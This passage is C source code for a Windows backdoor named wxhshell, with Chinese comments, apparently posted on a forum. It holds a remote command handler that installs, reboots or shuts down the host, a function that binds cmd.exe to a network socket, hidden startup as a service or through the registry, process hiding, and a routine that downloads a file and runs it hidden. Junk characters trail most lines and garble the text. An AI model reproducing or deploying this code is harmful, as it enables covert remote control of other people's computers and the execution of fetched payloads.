  case '?': { 6j<!W+~G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qtZ? kJ  
    break; PT6]qS'1  
  } {k) gDJU  
  // 安装 |sReHt2)d  
  case 'i': { ;cI*"-I:F  
    if(Install()) \4>,L_O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DHWz,M  
    else /!?LBtqy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZKrLp8l\  
    break; -U=Ci  
    } @9B*V~ <  
  // 卸载 \CMZ_%~wU  
  case 'r': { A<X?1$  
    if(Uninstall()) )?$[iu7 s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D:_W;b)  
    else c[,h|~K/_?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $QC1l@[sM  
    break; ;Y^'$I2fR#  
    } Zj_2>A  
  // 显示 wxhshell 所在路径 O1z]d3x  
  case 'p': {  1[SG.  
    char svExeFile[MAX_PATH]; 06S R74  
    strcpy(svExeFile,"\n\r"); ~Ba=nn8Cq  
      strcat(svExeFile,ExeFile); (jc& Fk  
        send(wsh,svExeFile,strlen(svExeFile),0); cgMF?;V  
    break; aaR& -M@  
    } ;XurH%Mg  
  // 重启 /D&&7;jJ  
  case 'b': { hF,|()E[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nMyl( kF[  
    if(Boot(REBOOT)) #0P_\X`E   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H;1@]|sH#  
    else { P0n1I7|  
    closesocket(wsh); "0An'7'm  
    ExitThread(0); VLez<Id9(  
    } !#c'| *k  
    break; by/H:5}7  
    } }4A] x`3  
  // 关机 qSc-V`*  
  case 'd': { vQljxRtW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7 $e6H|j@  
    if(Boot(SHUTDOWN)) 0ra'H/>Ly  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gw]%: WeH  
    else { ;miif  
    closesocket(wsh); Q\N*)&Sd<M  
    ExitThread(0); r=H?fTY<3E  
    } Q7_5  
    break; 3f[Yk# "  
    } 6c-/D.M  
  // 获取shell aOwjYl[?p  
  case 's': { D:1@1Jr  
    CmdShell(wsh); =&bI-  
    closesocket(wsh); & o5x  
    ExitThread(0); 5#K*75>  
    break; m2j&0z  
  } x}+zhRJ  
  // 退出 fST.p|b7  
  case 'x': { p0Jr{hM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .<"XE7  
    CloseIt(wsh); =nhY;pY3u  
    break; "b} mVrFh  
    } 8s1nE_3  
  // 离开 vYed_'_  
  case 'q': { !D#"+&&G8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uuC ["Z  
    closesocket(wsh); Jka>Er  
    WSACleanup(); {zwH3)|Hn  
    exit(1); SYCL\b   
    break; -& 1(~7  
        } nkW})LyB\  
  } \MP~}t}c  
  } W [ l  
.XJ'2yKof  
  // 提示信息 7n7Xyb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )+G"57p  
} vMTf^V  
  } Q(bOar5  
{R}F4k  
  return; iW5cEI%tb  
} q/#e6;x  
4q}+8F`0F  
// shell模块句柄 @J[@Pu O  
int CmdShell(SOCKET sock) X1Yw=t~a  
{  ldA_mj{  
STARTUPINFO si; h  d3  
ZeroMemory(&si,sizeof(si)); lPy|>&Yc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V8^la'_j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~ :ASv>m  
PROCESS_INFORMATION ProcessInfo; >JpBX+]5m  
char cmdline[]="cmd"; im<bo Mv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v:t;Uk^Y  
  return 0; M3tl4%j  
} a:BW*Hy{\  
)1s5vNVa  
// 自身启动模式 )?F&`+  
int StartFromService(void) e\%,\ uV}  
{ d:%b  
typedef struct K./qu^+k  
{ ;TAj;Tf]H  
  DWORD ExitStatus; \|HEe{nA  
  DWORD PebBaseAddress; *~#I5s\s!  
  DWORD AffinityMask; my (@~'  
  DWORD BasePriority; QAs)zl0  
  ULONG UniqueProcessId; a(gXvgrf[  
  ULONG InheritedFromUniqueProcessId; n' ~ ==2  
}   PROCESS_BASIC_INFORMATION; |Y7SP]/`gB  
+:S `]  
PROCNTQSIP NtQueryInformationProcess; # T=iS(i  
Tagf7tw4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'C]w3Rh'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mTZ/C#ir(  
>8f~2dH2%  
  HANDLE             hProcess; W/Dd7 G#IC  
  PROCESS_BASIC_INFORMATION pbi; Sdu\4;(  
#])"1fk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z`{sD]  
  if(NULL == hInst ) return 0; `3;EJDEdbi  
l6  G6H$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  LA3m,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F>fCp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j-<-!jTd  
O_FB^BB  
  if (!NtQueryInformationProcess) return 0; Nk'<*;e  
4MgN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5vx 4F f  
  if(!hProcess) return 0; msl.{  
LV:L0D7y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R(1:I@<?E  
hA7=:LG  
  CloseHandle(hProcess); ;ku>_sG-  
5YY5t^T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); on_h'?2  
if(hProcess==NULL) return 0; n7t}G'*Y!^  
_.5{vGyxr  
HMODULE hMod; 7^eyO&4z  
char procName[255]; JipNI8\r  
unsigned long cbNeeded; %3z[;&*3O  
Rl?1|$%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .9J^\%JD  
y ``\^F  
  CloseHandle(hProcess); JRl=j2z  
c8uaZvfW  
if(strstr(procName,"services")) return 1; // 以服务启动 wWl ?c  
;s +/'(*  
  return 0; // 注册表启动 OSBR2Z;=  
} M':-f3aT%  
F 9%_@n  
// 主模块 `B %%2p&  
int StartWxhshell(LPSTR lpCmdLine) v;,W ^#`  
{ F2N"aQ&  
  SOCKET wsl; I}`pY3  
BOOL val=TRUE; )N.3Q1g-  
  int port=0; 0L}`fYf  
  struct sockaddr_in door; TU|#Pz7n-Z  
,GSiSn  
  if(wscfg.ws_autoins) Install(); +( LH!\{^  
#-L0.z(  
port=atoi(lpCmdLine); &~:EmLgv  
de:@/-|  
if(port<=0) port=wscfg.ws_port; +7.|1x;C  
ufXWK3~\  
  WSADATA data; "Bd-h|J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?C|'GkT  
N:`_Vl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g[} L ?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^/n1h g  
  door.sin_family = AF_INET; #}7T$Va  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HPtMp#`T  
  door.sin_port = htons(port); wd`p>  
AiHU*dp6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !tq]kKJ3:  
closesocket(wsl); ,Fn;*  
return 1; [2@:jLth=  
} tA(oD4H9  
+SFFwjI  
  if(listen(wsl,2) == INVALID_SOCKET) { k4{!h?h  
closesocket(wsl); e{x>u(  
return 1; b|i4me@  
} =xk>yw!O)  
  Wxhshell(wsl); U$y 9f  
  WSACleanup(); G&oD;NY@/  
Oo|JIr7i  
return 0; b7.7@Ly y  
Ii0\Skb  
} [UwQi!^-O  
u62H+'k}F  
// 以NT服务方式启动 8a6.77c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }?2X q  
{ ^Mq/Cf_T  
DWORD   status = 0; t|U5]$5  
  DWORD   specificError = 0xfffffff; u`v&URM  
bB<S4@jF8z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6,q0F*q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \&F4Wl>`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [RBSUOF  
  serviceStatus.dwWin32ExitCode     = 0; "(=g7,I4  
  serviceStatus.dwServiceSpecificExitCode = 0; 8F[ ];LF>  
  serviceStatus.dwCheckPoint       = 0; Y-it3q'Z  
  serviceStatus.dwWaitHint       = 0; 6 IvAs-%W  
ip?]&5s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =%` s-[5b  
  if (hServiceStatusHandle==0) return; 6FDj:~  
)>~ jjR  
status = GetLastError(); 3EYEd39E  
  if (status!=NO_ERROR) z</C)ObL  
{ ?NA $<0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P%R!\i  
    serviceStatus.dwCheckPoint       = 0;  ?s,oH  
    serviceStatus.dwWaitHint       = 0; @|A!?}  
    serviceStatus.dwWin32ExitCode     = status; (BY 0b%^  
    serviceStatus.dwServiceSpecificExitCode = specificError; lJ3VMYVrUP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ lB{!j&q  
    return; A;8kC}  
  } jU-LT8y:  
_|e&zr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +.Vh<:?  
  serviceStatus.dwCheckPoint       = 0; <y7{bk~i  
  serviceStatus.dwWaitHint       = 0; db 99S   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2S7 BzZ/  
} x<I[?GT=  
3$"V,_TBZ  
// 处理NT服务事件,比如:启动、停止 G$,s.MSf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZV{C9S&  
{ {XU!p: x  
switch(fdwControl) l2;$qNAo  
{ b@J"b(  
case SERVICE_CONTROL_STOP: ((gI OTV  
  serviceStatus.dwWin32ExitCode = 0; k -G9'c~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )2c]Z|  
  serviceStatus.dwCheckPoint   = 0; /)[-5n{  
  serviceStatus.dwWaitHint     = 0; Z"c-Ly{vEj  
  { U-DQ?OtmC@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +E. D:  
  } bIm4s  
  return; 2Pb+/1*ix  
case SERVICE_CONTROL_PAUSE: kk5&lak2V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }"+"nf5h  
  break; e/hCYoS1n  
case SERVICE_CONTROL_CONTINUE: G^{~'TZv%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "d<uc j  
  break; 6"iNh)  
case SERVICE_CONTROL_INTERROGATE: #pZeGI|'J  
  break; _1)n_P4  
}; A@o7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .4]XR/I$  
} \JPMGcL  
a=$ZM4Bn  
// 标准应用程序主函数 xDeM7L'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aNry> 2:  
{ -`8@  
i\lvxbp  
// 获取操作系统版本 ~ 6=6YP  
OsIsNt=GetOsVer(); !{ *yWpZ:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qt.4dTd:_  
cEf"m ?w  
  // 从命令行安装 ;G`]`=s#Lq  
  if(strpbrk(lpCmdLine,"iI")) Install(); H, 3Bf  
X.{xH D&_  
  // 下载执行文件 gZ&4b'XS,  
if(wscfg.ws_downexe) { ^0"^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `IlhLv  
  WinExec(wscfg.ws_filenam,SW_HIDE); +76'(@(1Y  
} m> +  
x .@O]}UH  
if(!OsIsNt) { !Gnm<|.  
// 如果时win9x,隐藏进程并且设置为注册表启动 $m ;p@#n  
HideProc(); l`~$cK!  
StartWxhshell(lpCmdLine); 1q;R+65  
}  6 wd  
else '{0O!y[H6  
  if(StartFromService()) YKUAI+ks  
  // 以服务方式启动 1<~n2}   
  StartServiceCtrlDispatcher(DispatchTable); <mP_K^9c  
else 0Gj/yra9MO  
  // 普通方式启动 a1_ N~4r`  
  StartWxhshell(lpCmdLine); ()j)}F#Z`  
,X|FyO(p  
return 0; @[joM*U  
}
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只看该作者 1 发表于: 2006-10-10
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